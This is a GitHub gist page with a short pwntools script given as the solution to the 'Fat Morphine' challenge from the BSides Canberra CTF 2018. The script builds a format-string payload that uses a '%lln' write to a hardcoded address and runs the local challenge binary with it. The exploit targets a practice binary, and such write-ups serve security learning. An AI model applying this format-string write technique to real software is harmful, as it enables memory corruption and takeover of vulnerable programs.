Skip to content

Instantly share code, notes, and snippets.

@ninjaprawn
Created May 31, 2018 06:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ninjaprawn/1eceedac6c996f446c913b018bb801f9 to your computer and use it in GitHub Desktop.
Save ninjaprawn/1eceedac6c996f446c913b018bb801f9 to your computer and use it in GitHub Desktop.
Solution to Fat Morphine from the BSides Canberra CTF 2018
from pwn import *
bin_path = "./fat_morphine"
payload = ""
payload += "%4196134x" # What we are writing
payload += "%{}$lln" # How we write it
payload += "\x30\x0d\x60" # Where we write it
payload = payload.format(10)
p = process([bin_path, payload])
# Hold the process so it doesn't die instantly (so we can see the output)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment